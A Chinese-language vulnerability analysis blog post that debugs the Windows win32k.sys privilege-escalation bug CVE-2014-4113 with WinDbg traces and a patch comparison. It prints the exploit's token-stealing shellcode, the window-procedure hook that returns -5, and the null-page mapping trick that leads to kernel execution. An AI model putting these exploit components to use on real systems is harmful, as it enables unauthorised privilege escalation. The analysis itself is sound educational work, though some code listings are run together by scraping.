快捷搜索:  汽车  科技

内核源码的分析:经典内核漏洞调试笔记

内核源码的分析:经典内核漏洞调试笔记众所周知,Exploit一般不会影响软件或者系统的正常运行,而会执行Shellcode中的恶意代码,在我们没有PoC来引发软件或者系统异常的情况下,往往会通过Shellcode中的一些关键步骤的跟踪来接近漏洞的触发位置。123456789101112LRESULT CALLBACK shellcode(HWND hWnd UINT uMsg WPARAM wParam LPARAM lParam){PEPROCESS pCur pSys ;fpLookupProcessById((HANDLE)dwCurProcessId &pCur);fpLookupProcessById((HANDLE)dwSystemProcessId &pSys);#ifdef _WIN64*(PVOID *)((ULONG_PTR)pCur dwTokenOffset) = *(

内核源码的分析:经典内核漏洞调试笔记(1)

作者:k0pwn_ko

预估稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

内核漏洞对我来说一直是一个坎,记得两年前,刚刚接触二进制漏洞的时候,当时今天的主角刚刚出现,当时调试这个漏洞的时候,整个内心都是崩溃的,最近我重温了一下这个漏洞,发现随着自己学习进步,对整个内核漏洞分析的过程也变的越来越清晰,而且在这个内核漏洞的调试过程中发现了一些很有意思的调试细节,因此想把自己的这个调试笔记分享出来,希望能和大家多多交流,也能有更多的进步。

今天的主角就是CVE-2014-4113,这个win32k.sys下的内核漏洞是一个非常经典的内核漏洞,它无论在Exploit利用,内核漏洞的形成原因,可以说是教科书式的,非常适合对内核漏洞感兴趣的小伙伴入门分析。

123456789101112LRESULT CALLBACK shellcode(HWND hWnd UINT uMsg WPARAM wParam LPARAM lParam){PEPROCESS pCur pSys ;fpLookupProcessById((HANDLE)dwCurProcessId &pCur);fpLookupProcessById((HANDLE)dwSystemProcessId &pSys);#ifdef _WIN64*(PVOID *)((ULONG_PTR)pCur dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys dwTokenOffset);#else*(PVOID *)((DWORD)pCur dwTokenOffset) = *(PVOID *)((DWORD)pSys dwTokenOffset);#endifreturn 0 ;}

在源码分析过程中,我们关注Shellcode函数中的代码片段,可以看到Shellcode做了一件事情,就是针对32位系统和64位系统,会将当前系统的系统进程句柄psys,加上token的偏移赋值给当前用户进程的token,而这种手法也是现在Windows提权中一个非常好用的方法。

众所周知,Exploit一般不会影响软件或者系统的正常运行,而会执行Shellcode中的恶意代码,在我们没有PoC来引发软件或者系统异常的情况下,往往会通过Shellcode中的一些关键步骤的跟踪来接近漏洞的触发位置。

那么在这个过程中我们就用上面的Shellcode来跟踪这个漏洞。首先我们来说一下_EPROCESS结构体,这个结构体包含着当前进程的很多信息,这个过程我们可以通过!process 0 0的方法来得到。当然这个命令只有在内核态才能使用,我们通常通过Windbg远程调试的方法来完成。

内核源码的分析:经典内核漏洞调试笔记(2)

可以看到,通过!process 0 0的方法获取到的system进程的句柄位置在0x867c6660,接下来我们来看一下我们执行的Exploit进程位置。

内核源码的分析:经典内核漏洞调试笔记(3)

当前Exploit的地址是0x86116bb0,这两个地址就是_EPROCESS结构体的地址,下面我们来看一下这个结构体的内容。

内核源码的分析:经典内核漏洞调试笔记(4)

可以看到,偏移 0x0c8位置存放的就是Token,而结合上面分析的Shellcode的内容,Token就是进行替换提权的关键位置。

内核源码的分析:经典内核漏洞调试笔记(5)

实际上提权时,就是用0xe10007b3这个系统进程的Token,替换当前用户进程的0xe116438c这个Token,这也是下断点的一个重要依据,通过下条件断点,可以跟踪到当前进程句柄的变化情况。

1ba w1 86116c78 ".printf \"TOKEN CHANGE TO: [x]\\n\" poi(86116c78);.if(poi(86116c78)==0xe10007b3){;}.else{g;}"

内核源码的分析:经典内核漏洞调试笔记(6)

跟踪到00411f88位置的时候,程序中断,也是这时候当前进程句柄被替换,同时回溯到堆栈调用情况。

内核源码的分析:经典内核漏洞调试笔记(7)

当前堆栈调用展示了整个内核漏洞发生问题的过程,我们需要关注这个回溯过程,在后面的分析中需要用到,也由此我们定位了漏洞触发的关键流程,为后续的分析提供了依据。

12345678910kd> kbChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong.9b5f7a24 81ff94f3 fffffffb 000001ed 014cfd14 0x13014489b5f7a64 81ff95c5 fffffffb 000001ed 014cfd14 win32k!xxxSendMessageTimeout 0x1ac9b5f7a8c 820792fb fffffffb 000001ed 014cfd14 win32k!xxxSendMessage 0x289b5f7aec 82078c1f 9b5f7b0c 00000000 014cfd14 win32k!xxxHandleMenuMessages 0x5829b5f7b38 8207f8f1 fdf37168 8215f580 00000000 win32k!xxxMNLoop 0x2c69b5f7ba0 8207f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx 0x5cd9b5f7c14 828791ea 004601b5 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx 0xc3

在接下来的调试分析中,由于ASLR的关系,导致有些关键函数地址基址不太一样,不过不影响我们的调试。

一些有趣的调试细节

关于这个漏洞分析,其实网上有相当多非常详细的分析,这里我就不再做具体分析了,网上的方法多数都是通过Exploit正向分析,而通过Shellcode定位这种方法,可以用回溯的方法分析整个漏洞的形成过程,可能更加便捷,各有优劣。关于这个漏洞的分析,我不再详述,只是在调试过程中发现一些有趣的调试细节,想拿出来和大家一起分享。

首先我大概说一下这个漏洞的形成过程,在创建弹出菜单的时候会产生一个1EB的消息,因为SendMessage的异步调用,截断1EB消息,然后通过钩子销毁菜单,返回一个0xffffffb的方法,在随后的SendMessageTimeout函数中会调用这个返回值,作为函数调用,而在之前的if语句判断中没有对这个返回值进行有效的检查,当我们通过0页的分配,往0x5b地址位置存入Shellcode地址,这样就会在Ring0态执行应用层代码,导致提权。

那么在这个过程中,有一些有意思的地方,第一个是消息钩子截获1EB消息,并且返回0xfffffffb,第二个就是在SendMessageTimeout中在Ring0层执行应用层Shellcode代码的过程。

首先在调用xxxTrackPopupMenuEx的时候会销毁窗口,这个过程中会调用SendMessage,实际上,在SendMessage调用的时候,是分为同步和异步两种方式,两种方式的调用也有所不同,先看看同步,调用相对简单。

12345SendMessage (同线程) SendMessageWorker UserCallWinProcCheckWow InternalCallWinProc WndProc

但是当异步调用的时候,情况就相对复杂了,而我们的提权也正是利用了异步的方法,用消息钩子来完成的,首先来看看异步调用的情况。

123456789101112131415161718SendMessage (异线程) SendMessageWorker NtUserMessageCall (user mode/kernel mode切换) EnterCrit NtUserfnINSTRINGNULL (WM_SETTEXT) RtlInitLargeUnicodeString xxxWrapSendMessage (xParam = 0) xxxSendMessageTimeout (fuFlags = SMTO_NORMAL uTimeout = 0 lpdwResult = NULL) ⋯⋯ xxxReceiveMessage xxxSendMessageToClient sysexit (kernel mode进入user mode) ⋯⋯ UserCallWinProcCheckWow InternalCallWinProc WndProc XyCallbackReturn int 2b (user mode返回kernel mode)

这里有很关键的两处调用,一个在sysexit,在这个调用的时候,会从内核态进入用户态,也就是说在消息钩子执行的时候,通过这个调用会进入钩子的代码逻辑中,而当应用层代码逻辑执行结束后,会调用int 2b这个软中断,从用户态切换回内核态,这个过程就是通过消息钩子完成的,而正是利用这个钩子,在钩子中销毁窗口并且返回在整个提权过程中至关重要的0xfffffffb。

首先在HandleMenuMessages->MNFindWindowFromPoint之后会进入SendMessage中处理,这个时候通过安装的钩子会截获到1EB消息。

源码中钩子的部分。

123456789101112lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd GWL_WNDPROC (LONG)NewWndProc ) ; // LONGLRESULT CALLBACK NewWndProc(HWND hWnd UINT uMsg WPARAM wParam LPARAM lParam){if(uMsg != 0x1EB){return CallWindowProcA(lpPrevWndFunc hWnd uMsg wParam lParam) ;}EndMenu() ;return (DWORD)(-5) ; // DWORD }

来看一下动态调试的过程,通过之前对异步SendMessage函数的调用关系可以看到异步调用会进入SendMessageTimeout函数处理,跟入这个函数通过回溯看到函数调用关系。

123456789101112131415kd> pwin32k!xxxSendMessageTimeout 0x8:967e934f 56 push esikd> pwin32k!xxxSendMessageTimeout 0x9:967e9350 57 push edikd> pwin32k!xxxSendMessageTimeout 0xa:967e9351 8b7d20 mov edi dword ptr [ebp 20h]kd> kbChildEBP RetAddr Args to Child a216ca1c 967e95c5 fea0e878 000001eb a216ca98 win32k!xxxSendMessageTimeout 0xaa216ca44 968695f6 fea0e878 000001eb a216ca98 win32k!xxxSendMessage 0x28a216ca90 96868e16 fde80a68 a216cafc 00000000 win32k!xxxMNFindWindowFromPoint 0x58a216caec 96868c1f a216cb0c 9694f580 00000000 win32k!xxxHandleMenuMessages 0x9e

随后我们单步跟踪,在SendMessageTimeout函数中找到调用SendMessageToClient函数。

123456kd> pwin32k!xxxSendMessageTimeout 0x1c9:967e9510 56 push esikd> pwin32k!xxxSendMessageTimeout 0x1ca:967e9511 e81aaaffff call win32k!xxxSendMessageToClient (967e3f30)

通过IDA pro分析这个函数,在LABLE_16位置调用了一个叫sfn的函数,这个sfn的函数就是负责进入用户态的。

1234567LABEL_16: result = SfnDWORD(v17 v18 v19 (int)v20 v21 v22 v23 v24);int __stdcall SfnDWORD(int a1 int a2 int a3 int a4 int a5 int a6 int a7 int a8) v9[53].Next[12].Next = v8; ms_exc.registration.TryLevel = -2; UserSessionSwitchLeaveCrit(); v27 = KeUserModeCallback(2 &v21 24 &v28 &v29);

当sysexit调用后,内核态和用户态进行了切换。进入用户态,应用层就是我们的钩子内容。

123kd> pBreakpoint 6 hit001b:00f21600 55 push ebp

实际上,这就是一个钩子之间的调用过程,也是提权漏洞利用过程中一个至关重要的环节。那么接下来,在钩子函数中,我们会利用EndMenu函数销毁窗口,并且返回0xfffffffb,这个过程在很多分析中都有了,下面我们来看看从用户态切换回内核态的过程。

首先销毁窗口后,0xfffffffb会交给eax寄存器,随后进入返回过程。

123456789101112kd> bp 00251631kd> gBreakpoint 1 hit001b:00251631 b8fbffffff mov eax 0FFFFFFFBhkd> kbChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong.014cf5b4 769dc4e7 000e0240 000001eb 014cf6e4 0x251631014cf5e0 769dc5e7 00251600 000e0240 000001eb user32!InternalCallWinProc 0x23014cf658 769d4f0e 00000000 00251600 000e0240 user32!UserCallWinProcCheckWow 0x14b014cf6b4 76a0f0a3 005be8b0 000001eb 014cf6e4 user32!DispatchClientMessage 0xda014cf6dc 77106fee 014cf6f4 00000018 014cf7ec user32!__fnOUTDWORDINDWORD 0x2a

我们在应用层通过回溯,可以看到回溯过程中的函数调用,这里单步调试,可以跟踪到连续向外层函数进行返回。也就是不停的执行pop ret的过程,直到跟踪到user32!_fnOUTDOWRDINDWORD中,我们单步跟踪。

123456789101112kd> puser32!__fnOUTDWORDINDWORD 0x2e:001b:76a0f0a7 5a pop edxkd> puser32!__fnOUTDWORDINDWORD 0x2f:001b:76a0f0a8 8d4df4 lea ecx [ebp-0Ch]kd> puser32!__fnOUTDWORDINDWORD 0x32:001b:76a0f0ab 8945f4 mov dword ptr [ebp-0Ch] eaxkd> puser32!__fnOUTDWORDINDWORD 0x35:001b:76a0f0ae e86171fcff call user32!XyCallbackReturn (769d6214)

在fnOUTDWORDINDWORD中,调用了XyCallbackReturn,再回头看之前关于SendMessage函数异步过程的描述,XyCallbackReturn正是从用户态切换回内核态一个关键函数调用,跟进这个函数,可以观察到调用了int 2B软中断,回归内核态

123456kd> tuser32!XyCallbackReturn:001b:769d6214 8b442404 mov eax dword ptr [esp 4]kd> puser32!XyCallbackReturn 0x4:001b:769d6218 cd2b int 2Bh

这个过程会携带钩子的返回结果,从而到后面执行shellcode,回归内核态之后,来看一下调用到shellcode。

1234567891011121314kd> gBreakpoint 4 hitwin32k!xxxSendMessageTimeout 0x1a9:967e94f0 ff5660 call dword ptr [esi 60h]kd> dd esifffffffb ???????? ???????? fe9d3dd8 00000000kd> dd esi 600000005b 00f61410 00000000 00000000 00000000kd> t00f61410 55 push ebpExecutable search path is: ModLoad: 00f60000 00f67000 EoP.exe ModLoad: 770c0000 771fc000 ntdll.dllModLoad: 76760000 76834000 C:\Windows\system32\kernel32.dll

我们事先在0x5b地址位置分配了0页内存,然后往里存放了一shellcode的地址,这样call esi+60相当于call 0x5b,从而进入shellcode的内容。

其实在调试漏洞的过程中,钩子的调用是一个很有趣的过程,也是触发这个漏洞的关键,同样,不仅仅是CVE-2014-4113,在很多Windows提权漏洞的利用上,都用到了类似手法,比如CVE-2015-2546等等。

在文章一开始,我提到这个漏洞的关键原因是一处if语句判断不严谨导致的漏洞发生,当结束了这个有趣的调试细节之后,我将通过补丁对比,以及补丁前后的动态调试来看看这个漏洞的罪魁祸首是什么。

补丁对比与过程分析

我们安装CVE-2014-4113的补丁,可以看到,补丁后利用提权工具提权后,已经不能获得系统权限。

补丁前:

内核源码的分析:经典内核漏洞调试笔记(8)

补丁后:

内核源码的分析:经典内核漏洞调试笔记(9)

我们通过BinDiff来分析一下这个补丁前后发生了哪些变化,这时候我们需要通过文章最开始,我们在定位了提权发生的位置之后,通过堆栈回溯的过程看到的函数调用关系,来确定我们应该看看哪些函数发生了变化。

内核源码的分析:经典内核漏洞调试笔记(10)

实际上补丁前后大多数函数变化都不大,但是看到xxxHandleMenuMessages中存在一些小变化,跟进这个函数查看对比。

内核源码的分析:经典内核漏洞调试笔记(11)

注意对比图下方有一些跳转产生了变化,放大下面这个块的内容。

内核源码的分析:经典内核漏洞调试笔记(12)

左侧黄块和这个漏洞无关,可以看到左侧是两个绿色块直接相连,表示直接跳转,而右侧补丁后,则在两个绿块之间增加了一个黄块,观察黄块,其中调用了一个IsMFMWFPWindow函数,这个函数可以通过IDA pro看到它的作用。实际上就是一个bool函数,用来限制0,-1和-5的情况,下面我们来动态调试分析。

1234BOOL __stdcall IsMFMWFPWindow(int a1){ return a1 && a1 != -5 && a1 != -1;}

首先是补丁前,会经过一系列的if判断,直接单步跟踪到最关键的一处if判断。

1234567if ( *(_BYTE *)v3 & 2 && v13 == -5 )kd> pwin32k!xxxHandleMenuMessages 0x54c:968692c5 f60702 test byte ptr [edi] 2kd> pwin32k!xxxHandleMenuMessages 0x54f:968692c8 740e je win32k!xxxHandleMenuMessages 0x55f (968692d8)

这个if判断其实是想处理0xfffffffb的情况的,也就是说,当v13的值等于-5,也就是0xfffffffb的时候,会进入if语句,而不会执行将-5传递到下面的SendMessage中,然而这个if语句中的是与运算,也就是说,当前面v3&2不成立的时候,就不会进入if语句了,而动态调试前面是不成立的,直接跳转到后面的if语句判断。

1234567if ( v13 == -1 )kd> pwin32k!xxxHandleMenuMessages 0x55f:968692d8 83fbff cmp ebx 0FFFFFFFFhkd> pwin32k!xxxHandleMenuMessages 0x562:968692db 750e jne win32k!xxxHandleMenuMessages 0x572 (968692eb)

这就导致了-5被传递到后面的SendMessage,从而导致了后面的代码执行。

1234567891011121314151617kd> pwin32k!xxxHandleMenuMessages 0x572:968692eb 6a00 push 0kd> pwin32k!xxxHandleMenuMessages 0x574:968692ed ff7510 push dword ptr [ebp 10h]kd> pwin32k!xxxHandleMenuMessages 0x577:968692f0 68ed010000 push 1EDhkd> pwin32k!xxxHandleMenuMessages 0x57c:968692f5 53 push ebxkd> pwin32k!xxxHandleMenuMessages 0x57d:968692f6 e8a202f8ff call win32k!xxxSendMessage (967e959d)kd> dd esp8b46fa94 fffffffb 000001ed 0091f92c 00000000

可以看到,当执行SendMessage的时候,第一个参数为0xfffffffb,后续会在SendMessageTimeOut中引发进入Shellcode,这个之前已经提到。

接下我们一起看一下补丁后的调试情况,补丁后,引入了IsMFMWFPWindow函数多做了一个if语句的判断。

123456789kd> reax=00040025 ebx=fffffffb ecx=8a8d7a74 edx=8a8d7b74 esi=9765b880 edi=fe5ffa68eip=9756bf10 esp=8a8d7aa0 ebp=8a8d7ae8 iopl=0 nv up ei ng nz ac pe cycs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000297win32k!xxxHandleMenuMessages 0x570:9756bf10 53 push ebxkd> pwin32k!xxxHandleMenuMessages 0x571:9756bf11 e889b90000 call win32k!IsMFMWFPWindow (9757789f)

可以看到ebx作为参数传入IsMFMWFPWindow,ebx的值为0xfffffffb,而这个值是-5,判断肯定是不通过的,返回false。

123456789kd> pwin32k!IsMFMWFPWindow 0xb:975778aa 837d08fb cmp dword ptr [ebp 8] 0FFFFFFFBhkd> pwin32k!IsMFMWFPWindow 0xf:975778ae 740b je win32k!IsMFMWFPWindow 0x1c (975778bb)kd> pwin32k!IsMFMWFPWindow 0x1c:975778bb 33c0 xor eax eax

可以看到ebp+8判断是否为false,这里是为false的,所以跳转,不执行SendMessage,这样漏洞就被修补了,我们最后来看一下补丁前后的伪代码。

补丁前:

123456789101112 v13 = xxxMNFindWindowFromPoint(v3 (int)&UnicodeString (int)v7); v52 = IsMFMWFPWindow(v13); ……//省略一部分代码 if ( *(_BYTE *)v3 & 2 && v13 == -5 )//key!这里第一个判断不通过 { xxxMNSwitchToAlternateMenu(v3); v13 = -1; } if ( v13 == -1 ) xxxMNButtonDown((PVOID)v3 v12 UnicodeString 1); else xxxSendMessage((PVOID)v13 -19 UnicodeString 0);//key!

补丁后:

1234567891011121314151617v29 = xxxMNFindWindowFromPoint((WCHAR)v3 (int)&UnicodeString (int)v7); v50 = IsMFMWFPWindow(v29); if ( v50 ) { …… } else { if ( !v29 && !UnicodeString && !(v30 & 0x200) )//了 { …… } …… if ( v29 == -1 ) goto LABEL_105; } if ( IsMFMWFPWindow(v29) )//Key!!!这里先调用了IsMFMWFPWindows做了一个判断,然后才send xxxSendMessage((PVOID)v29 -17 UnicodeString Address);

到此,这个内核漏洞解剖完毕,以前一直觉得内核漏洞很可怕,现在仔细分析之后,其实发现内核漏洞也是很有意思的,仿佛给我开了一扇新的大门,里面有很多有趣的东西值得去探索,分析的时候只要理清逻辑关系,其实会简单好多,文章中如有不当之处还请各位大牛斧正,多多交流,谢谢!

猜您喜欢: